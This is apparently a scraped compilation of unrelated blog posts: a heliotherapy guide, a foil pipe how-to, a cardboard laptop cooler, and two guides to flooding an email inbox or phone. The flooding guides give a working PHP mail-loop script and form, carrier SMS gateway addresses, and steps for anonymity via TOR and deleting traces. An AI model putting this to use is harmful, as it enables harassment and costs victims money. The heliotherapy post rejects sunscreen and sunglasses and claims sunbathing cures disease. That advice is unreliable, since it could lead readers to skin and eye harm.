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  • An Introduction to Heliotherapy

    heliotherapy

    Heliotherapy 101

    Heliotherapy is the application of sunbathing as a means of restoring health. Its place in the Hygienic System is an important one. Many great ancient cultures practiced various forms of heliotherapy, the first records of sunbathing come from ancient Greece, Egypt, Rome, Babylon, Assyria and Persia. The Egyptians, Babylonians and Assyrians all had sun gardens, and many of these people gave the sun the dignity of a God. The Greeks had solariums which they called helioses, and the great physicians, Hippocrates, recommended the use of sunbathing and equipped his sanatorium on the isle of Cos with a large solarium. Philostratus also claimed that all of the Olympian athletes took sunbaths. The Roman writers, Galen, Cicero, Celus, and Pliny tell of the use of the Roman solariums. Pliny is well known for his remark: “Sol est remediorum maximum”— the sun is the best remedy. Even the old Germanic tribes employed sunbathing.

    Waldvogel, of Bohemia, recommended sunbathing in 1775. Le Peyre and Le Cornte focused sunlight on “wounds and tumors” in 1776 with brilliant results. In the early 19th century Cauvin, Dobereiner, Girard, Harterive, and Bonnet carried out numerous experiments to determine the effects of sunshine. The experiments conclusively showed that sunbathing is of value in treating disease that they tried to build a new system of therapeutics based upon the use of the sunbath.

    A Swiss natural healer, Arnold Rikli, understood the importance of sunbathing so well that he opened his own healing centre. He employed sunbathing to a great extent, giving him the nickname “Sun doctor,” and the rapid recoveries of health which his patients experienced gave heliotherapy its real origin as a sound basic science.

    Hygienists in both America and Europe were also using sunbathing in their practice. In Germany Dr. Lahman opened his famous “Sun and Air Cure,” an institution devoted exclusively to heliotherapy. In 1872 Biltz, also of Germany, started to employ sunbathing in his sanatorium. In American hygienists Sylvester Graham And R.T. Trail highly recommended sunbathing. Dr. George H. Taylor, Dr. Dio Lewis and Dr. James C. Jackson were their associates. Dr. Taylor made good use sunbathing in effectively treating scrofula; Lewis used it in the treatment of dyspepsia, neuralgia and rheumatism; and Dr. Jackson gave hundreds of his patient’s sunbaths every clear day throughout the summer. The experience of all of the hygienists in their use of sunbathing was so successful that all the questions of doubt in regards to sunbathing were removed. Thorwald Madsen went further in showing that disease, and especially infectious disease, occured most frequently during the seasons where people get the least sunshine. Bronchitis, bronchi-pneumonia,tonsillitis, and Diphtheria, just to name a few all peak in the winter season and fall into insignificance during July and August. He showed that February was the month most conducive to the development of disease; September was the best month from the standpoint of public health.

    Not much has changed. Heliotherapy has also been used for the treatment of severe wounds, such as those experienced in world wars even; Bernhard of Samden, an old surgeon practiced this to cure the wounds of German soldiers in World War I. The results were remarkable.

    The history of heliotherapy alone provides us with ample evidence to its beneficial effectiveness a how effective sunbathing is in remedying certain diseases, chief of which is tuberculosis. However, to ensure you sunbathe only to receive benefits and not do yourself any harm in the process, it’s not as simple as just going out and laying in the sun. There are precautions you need to take, and in this guide, sun cream/block isn’t going to be one of them.

    Hanson et al. (2006), found that the amount of harmful reactive oxygen species was measured in untreated and in sunscreen-treated skin. In the first 20 minutes the film of sunscreen had a protective effect and the number of ROS species was smaller. After 60 minutes, however, the amount of absorbed sunscreen was so high that the amount of ROS was higher in the sunscreen-treated skin than in the untreated skin.

    Here are some links for further reading on sunblock and sun cream:
    http://en.wikipedia.org/wiki/Sunbloc…l_health_risks

     

    http://www.associatedcontent.com/art…ds.html?cat=25

    Within this guide, we must consider that moderation is the key. Old, fair skinned and those in bad health should only spend a small amount of time in the sun, in order to work towards the desired effect on the body, much less time than someone who is young and darker skinned. Working up on your sun exposure can take time and needs to be done progressively, adding a few more minutes each session. Sticking to this routine will keep you from getting sun burn. You need to work your way up and let your body get used to the sun. The recommendations for the first time sunbed user is 2 minutes, with natural sunlight I’d recommend the first timer to begin with 5 minutes the first day, 10 minutes the second day and so on, with the aim of working up to an hour or so per session.

    The best time to sunbathe in summer is in the morning, around 10am, when the sun is not as severe as in the afternoons. The sunshine in the afternoons are mainly infrared rays which don’t do nearly as much good as ultraviolet rays. From 10am – noon is the best time to catch some rays, as the sun is in full shine.

    Sunbaths can also be taken in the winter times as well. Dr A. Rollier, M.D., director of the Institute of Heliotherapy at Leysin, Switzerland is most well known for this. At Rollier’s institute the patients are given sunbaths in the winter as well as in the summer, in the mountain regions there is a greater brilliance of the sun at higher altitudes. The use of sunshine in winter time increases the body’s resistance to the cold. Pigmented skin regulates itself more effectively to the warm summer weather also. In the winter, the skin will generally feel warm even if it’s exposed to cold air; whearas in the summer the pigmented skin radiates heat more rapidly and in hot weather it is cooler than the unpigmented skin.

    Now, the rules are the opposite in winter as they are for summer, for sunbathing. The mornings are too cold to sunbathe, even for a few minutes, so the optimum time to take in some rays is at mid-day. The beneficial rays do not shine until later on during the day. The snow acts as a good reflector too. Do not assume that just because the air is cold that the sun is not affecting you, do not spend too long in the sun.

    As well as sun creams and sunblocks, sunglasses are also not necessary and it’s preferable that they’re not used whilst sunbathing. Instead you should close your eyes and let the beneficial lights seep in through your eyelids. Sun glasses are cool for an accessory and checking out womens’ breasts unquestioned and when driving, but not when sunbathing.

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  • Make An Aluminum Foil Pipe

    This is pretty basic stoner knowledge, but it’s for those that don’t already know.

    Gather the supplies, a pen and a sheet of aluminum foil that’s about 10×10.

    Fold up the sheet of foil until it’s a smaller size, as shown.

    Place your pen and index finger on the foil.

    Roll the foil around both your index finger and the pen.

    Make sure the foil is tight around the pen, except for the bowl piece.

    Fold up the bowl piece you created with your index finger so it doesn’t suck through when you smoke it.

    Test the air flow by taking a hit with nothing in it.

    If there is too much air flow, pinch the bottom of the bowl piece to close it.

    This is the finished product, happy smoking! 8D

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  • Ghetto Laptop Cooler

    After this thread, where I asked should I make a laptop cooler, I did as recommended – took it all to bits, cleaned everything and put the stuff back together where new heat transfer pasted was needed. It made no noticeable difference other than I must have bent my keyboard when putting the laptop back together as the keys F3, E, D and C do not work. Fuck it, I have a USB keyboard.

    But today, the laptop decided it would rather be switched off. Twice. The time came for action. I had been planning on making something with MDF, but as my jigsaw is in my lockup a couple of miles away, I decided to make it with tape, cardboard and some case fans I had kicking around.

    Power is supplied from a USB port – I chopped the lead from a mouse – it had 4 wires in it, guessed it was the black and red that carried power and so I could hook those to the power lead for the case fans.

    I started off by drawing around the fans and cutting out of the box, leaving the corners in – you may be just able to see I have scored them so they will fold to fit and hold the fan.

    I was going to use mechano to hold the fans, but the cardboard was rigid enough and then with the tape it was fine. I also taped all seams and edges so air would not be getting sucked / pushed from where it should not be.

    The case fans had 3 wires going to a small block that an adapter connected two that gave 2 wires. With one of the case fans, I pulled the wires frmo the small block and manages to push them into the other block – so six wires where 3 were and I could power both fans.

    I then cut a hole in one side of the box with the fans in – the opposite side and replicated those holes on a flat box tray.

    The two boxes were then taped together and the power wires from the fans connected to the old USB mouse lead.

    Computer is running about 20C lower now. It does look like an accident at a communist power station however.

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  • How to SMS Flood a Cell Phone

    Flooding the inbox of a cell phone is much like flooding an email address – something which I covered in another guide which can be found by clicking the link below. In fact, this article covers exactly the same script and HTML code which I’ve written about in the other guide. However, this isn’t simply a copy – this guide is unique, and should teach you the basics of spamming a cell phone.

    How to Flood an Email Inbox

    So, how does the attacker prepare for a flooding?

    Just as you’d expect, the attacker will need access to a free web-host which has PHP and a mail server. Freehostia has both. It’s safest to preserve anonymity by registering behind a TOR connection to hide your IP address – something which an attacker should be very concerned with!

    The Email Spamming Form

    This isn’t totally necessary, but it helps you get a visual idea of what’s going into the script. The HTML form can be used to enter various fields, such as the target email address, the message which will be sent, and the number of times the email is sent. The attacker should create a page on their website which has the following code in;

    Code:
    <form action="script.php" method="POST">
To: <input type="text" name="to" /> <br />
Subject: <input type="text" name="subject" /> <br />
Message: <input type="text" name="message" /> <br />
From: <input type="text" name="from" /> <br />
Times To Send: <input type="text" name="sendtimes" /> <br />
<input type="submit" value="Send!" />
</form>

    The Email Spamming Script

    Once the HTML form is in place, the attacker needs to create a script called “script.php” which takes everything entered into the form and places it inside a script using variables. The script then runs, sending emails to the target and potentially flooding the living shit out of them! Here’s what the script looks like;

    Code:
    <?php
$number = 0;
$to = $_POST['to'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$from = $_POST['from'];
$headers = "From: $from";
$sendtimes = $_POST['sendtimes'];

while ($number < $sendtimes) {
$number++;
mail($to,$subject,$message,$headers);
}
echo "Mail Sent $sendtimes times!";
?>

    The script is written in PHP. It uses a loop to control how many times the email is sent. Basically, so long as the value of $number is less than $sendtimes, the script will loop over. Once $number is equal to or greater than $sendtimes, the script will stop running.

    How to find out the email address of a cell phone

    When an email is sent to a cell phone directly, it will appear as a text message. This is a serious flaw, seeing as we now have the ability to send as many emails as we want! Sending hundreds, thousands or even MILLIONS of emails to a phone WILL fuck it up. It can crash the phone, cost the target money, and possibly get them cut off while the provider sorts out the mess.

    Below is a list of carriers and the email addresses associated with them. This list is taken from here – thanks for providing it.

    Alltel
    [10-digit phone number]@message.alltel.com
    Example: [email protected]

    AT&T (formerly Cingular)
    [10-digit phone number]@txt.att.net
    Example: [email protected]

    For multimedia messages, use [10-digit-number]@mms.att.net
    Example: [email protected]

    Boost Mobile
    [10-digit phone number]@myboostmobile.com
    Example: [email protected]

    Cricket Wireless
    [10-digit phone number]@sms.mycricket.com
    Example: [email protected]

    For multimedia messages: [10-digit phone number]@mms.mycricket.com
    Example: [email protected]

    Nextel (now part of Sprint Nextel)
    [10-digit telephone number]@messaging.nextel.com
    Example: [email protected]

    Sprint (now Sprint Nextel)
    [10-digit phone number]@messaging.sprintpcs.com
    Example: [email protected]

    T-Mobile
    [10-digit phone number]@tmomail.net
    Example: [email protected]

    Verizon
    [10-digit phone number]@vtext.com
    Example: [email protected]

    Virgin Mobile USA
    [10-digit phone number]@vmobl.com
    Example: [email protected]

    Bell Canada: [10-digit-phone-number]@txt.bellmobility.ca

    Centennial Wireless: [10-digit-phone-number]@cwemail.com

    Cellular South: [10-digit-phone-number]@csouth1.com

    Cincinnati Bell: [10-digit-phone-number]@gocbw.com

    Metro PCS: [10-digit-phone-number]@mymetropcs.com or [10-digit-phone-number]@metropcs.sms.us

    Qwest: [10-digit-phone-number]@qwestmp.com

    Rogers: [10-digit-phone-number]@pcs.rogers.com

    Suncom: [10-digit-phone-number]@tms.suncom.com

    Telus: [10-digit-phone-number]@msg.telus.com

    U.S. Cellular: [10-digit-phone-number]@email.uscc.net

    Once the attacker has got his email address ready, he would then be ready to get flooding! The safest way of doing this is as follows;

    • Using TOR, access the free website.
    • Enter the required details into the form, specifying how many times to send the email.
    • Wait for the confirmation!
    • Delete the website, and the account.

    Additional Notes

    I don’t support the use of this script in any way, nor do I claim it as mine. It’s just some PHP code – remember that. If you decide to be an idiot and spam someone without their permission, then it’s absolutely nothing to do with me. I hope you enjoyed it!

     

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  • How to Flood an Email Address

    Have you ever wondered how to spam someone’s email address? Well, thanks to a very short script, it’s easy to do. Firstly, the attacker will need access to a free web-host which has PHP and a mail server. I’m pretty sure that Freehostia has both. It’s safest to preserve anonymity by registering behind a TOR connection to hide your IP address.

    The Email Spamming Form

    This isn’t totally necessary, but it helps you get a visual idea of what’s going into the script. The HTML form can be used to enter various fields, such as the target email address, the message which will be sent, and the number of times the email is sent. The attacker should create a page on their website which has the following code in;

    Code:
    <form action="script.php" method="POST">
To: <input type="text" name="to" /> <br />
Subject: <input type="text" name="subject" /> <br />
Message: <input type="text" name="message" /> <br />
From: <input type="text" name="from" /> <br />
Times To Send: <input type="text" name="sendtimes" /> <br />
<input type="submit" value="Send!" />
</form>

    The Email Spamming Script

    Once the HTML form is in place, the attacker needs to create a script called “script.php” which takes everything entered into the form and places it inside a script using variables. The script then runs, sending emails to the target and potentially flooding the living shit out of them! Here’s what the script looks like;

    Code:
    <?php
$number = 0;
$to = $_POST['to'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$from = $_POST['from'];
$headers = "From: $from";
$sendtimes = $_POST['sendtimes'];

while ($number < $sendtimes) {
$number++;
mail($to,$subject,$message,$headers);
}
echo "Mail Sent $sendtimes times!";
?>

    The script is written in PHP. It uses a loop to control how many times the email is sent. Basically, so long as the value of $number is less than $sendtimes, the script will loop over. Once $number is equal to or greater than $sendtimes, the script will stop running.

    So, the script and form is in place – what now?

    The attacker would then do the following things to make sure that his target gets the bollocking he deserves!

    Using TOR, access the free website.
    Enter the required details into the form, specifying how many times to send the email.
    Wait for the confirmation!
    Delete the website, and the account.

    Additional Notes

    I don’t support the use of this script in any way, nor do I claim it as mine. It’s just some PHP code – remember that. If you decide to be an idiot and spam someone without their permission, then it’s absolutely nothing to do with me. I hope you enjoyed it!

     

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